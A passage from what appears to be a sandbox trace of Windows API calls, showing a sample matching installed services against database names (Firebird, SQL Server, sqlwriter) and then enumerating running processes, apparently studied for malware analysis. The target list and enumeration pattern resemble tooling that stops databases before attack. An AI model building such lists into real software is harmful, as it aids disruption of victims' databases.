(lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0289.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0289.256] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0289.256] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0289.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0289.256] lstrlenW (lpString="Audiosrv") returned 8 [0289.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0289.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0289.256] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0289.257] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0289.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0289.257] lstrlenW (lpString="BFE") returned 3 [0289.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0289.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0289.257] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0289.257] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0289.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0289.257] lstrlenW (lpString="BITS") returned 4 [0289.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0289.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0289.257] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0289.257] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0289.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0289.257] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0289.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0289.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0289.257] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0289.257] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0289.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0289.257] lstrlenW (lpString="CDPSvc") returned 6 [0289.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0289.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0289.257] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0289.257] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0289.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0289.257] lstrlenW (lpString="ClickToRunSvc") returned 13 [0289.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0289.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0289.257] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0289.257] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0289.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0289.257] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0289.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0289.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0289.258] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0289.258] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0289.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0289.258] lstrlenW (lpString="CryptSvc") returned 8 [0289.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0289.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0289.258] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0289.258] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0289.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0289.258] lstrlenW (lpString="DcomLaunch") returned 10 [0289.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0289.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0289.258] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0289.258] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0289.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0289.258] lstrlenW (lpString="DeviceAssociationService") returned 24 [0289.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0289.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0289.258] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0289.258] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0289.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0289.258] lstrlenW (lpString="Dhcp") returned 4 [0289.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0289.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0289.258] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0289.258] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0289.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0289.258] lstrlenW (lpString="Dnscache") returned 8 [0289.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0289.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0289.258] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0289.258] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0289.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0289.259] lstrlenW (lpString="DoSvc") returned 5 [0289.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0289.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0289.259] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0289.259] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0289.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0289.259] lstrlenW (lpString="DPS") returned 3 [0289.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0289.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0289.259] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0289.259] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0289.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0289.259] lstrlenW (lpString="DusmSvc") returned 7 [0289.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0289.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0289.259] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0289.259] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0289.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0289.259] lstrlenW (lpString="EventLog") returned 8 [0289.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0289.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0289.259] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0289.259] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0289.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0289.259] lstrlenW (lpString="EventSystem") returned 11 [0289.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0289.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0289.259] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0289.259] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0289.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0289.259] lstrlenW (lpString="FontCache") returned 9 [0289.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0289.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0289.260] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0289.260] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0289.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0289.260] lstrlenW (lpString="gpsvc") returned 5 [0289.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0289.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0289.260] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0289.260] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0289.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0289.260] lstrlenW (lpString="iphlpsvc") returned 8 [0289.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0289.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0289.260] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0289.260] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0289.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0289.260] lstrlenW (lpString="KeyIso") returned 6 [0289.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0289.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0289.260] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0289.260] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0289.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0289.260] lstrlenW (lpString="LanmanServer") returned 12 [0289.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0289.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0289.260] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0289.260] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0289.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0289.260] lstrlenW (lpString="LanmanWorkstation") returned 17 [0289.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0289.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0289.260] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0289.260] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0289.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0289.261] lstrlenW (lpString="lfsvc") returned 5 [0289.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0289.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0289.261] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0289.261] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0289.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0289.261] lstrlenW (lpString="lmhosts") returned 7 [0289.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0289.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0289.261] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0289.261] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0289.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0289.261] lstrlenW (lpString="LSM") returned 3 [0289.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0289.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0289.261] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0289.261] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0289.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0289.261] lstrlenW (lpString="MpsSvc") returned 6 [0289.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0289.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0289.261] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0289.261] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0289.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0289.261] lstrlenW (lpString="NcbService") returned 10 [0289.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0289.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0289.261] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0289.261] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0289.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0289.261] lstrlenW (lpString="netprofm") returned 8 [0289.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0289.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0289.262] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0289.262] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0289.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0289.262] lstrlenW (lpString="NgcSvc") returned 6 [0289.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0289.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0289.262] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0289.262] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0289.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0289.262] lstrlenW (lpString="NlaSvc") returned 6 [0289.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0289.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0289.262] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0289.262] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0289.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0289.262] lstrlenW (lpString="nsi") returned 3 [0289.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0289.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0289.262] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0289.262] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0289.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0289.262] lstrlenW (lpString="PcaSvc") returned 6 [0289.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0289.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0289.262] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0289.262] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0289.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0289.262] lstrlenW (lpString="PlugPlay") returned 8 [0289.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0289.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0289.262] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0289.263] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0289.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0289.263] lstrlenW (lpString="Power") returned 5 [0289.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0289.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0289.263] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0289.263] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0289.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0289.263] lstrlenW (lpString="ProfSvc") returned 7 [0289.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0289.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0289.263] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0289.263] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0289.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0289.263] lstrlenW (lpString="RpcEptMapper") returned 12 [0289.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0289.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0289.263] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0289.263] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0289.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0289.263] lstrlenW (lpString="RpcSs") returned 5 [0289.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0289.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0289.263] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0289.263] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0289.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0289.263] lstrlenW (lpString="SamSs") returned 5 [0289.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0289.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0289.263] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0289.263] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0289.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0289.263] lstrlenW (lpString="Schedule") returned 8 [0289.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0289.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0289.264] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0289.264] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0289.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0289.264] lstrlenW (lpString="SecurityHealthService") returned 21 [0289.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0289.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0289.264] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0289.264] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0289.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0289.264] lstrlenW (lpString="SENS") returned 4 [0289.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0289.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0289.264] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0289.264] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0289.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0289.264] lstrlenW (lpString="ShellHWDetection") returned 16 [0289.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0289.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0289.264] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0289.264] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0289.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0289.264] lstrlenW (lpString="Spooler") returned 7 [0289.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0289.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0289.264] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0289.264] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0289.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0289.264] lstrlenW (lpString="SSDPSRV") returned 7 [0289.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0289.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0289.264] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0289.265] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0289.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0289.265] lstrlenW (lpString="StateRepository") returned 15 [0289.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0289.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0289.265] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0289.265] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0289.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0289.265] lstrlenW (lpString="SysMain") returned 7 [0289.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0289.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0289.265] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0289.265] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0289.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0289.265] lstrlenW (lpString="SystemEventsBroker") returned 18 [0289.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0289.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0289.265] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0289.265] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0289.265] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x466fff8 | out: hHeap=0x6e0000) returned 1 [0289.265] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4c4 [0289.268] Process32FirstW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0289.269] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0289.269] lstrlenW (lpString="System") returned 6 [0289.269] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0289.270] lstrlenW (lpString="smss.exe") returned 8 [0289.270] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0289.271] lstrlenW (lpString="csrss.exe") returned 9 [0289.271] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0289.271] lstrlenW (lpString="wininit.exe") returned 11 [0289.271] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0289.272] lstrlenW (lpString="csrss.exe") returned 9 [0289.272] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0289.273] lstrlenW (lpString="winlogon.exe") returned 12 [0289.273] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0289.273] lstrlenW (lpString="services.exe") returned 12 [0289.273] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 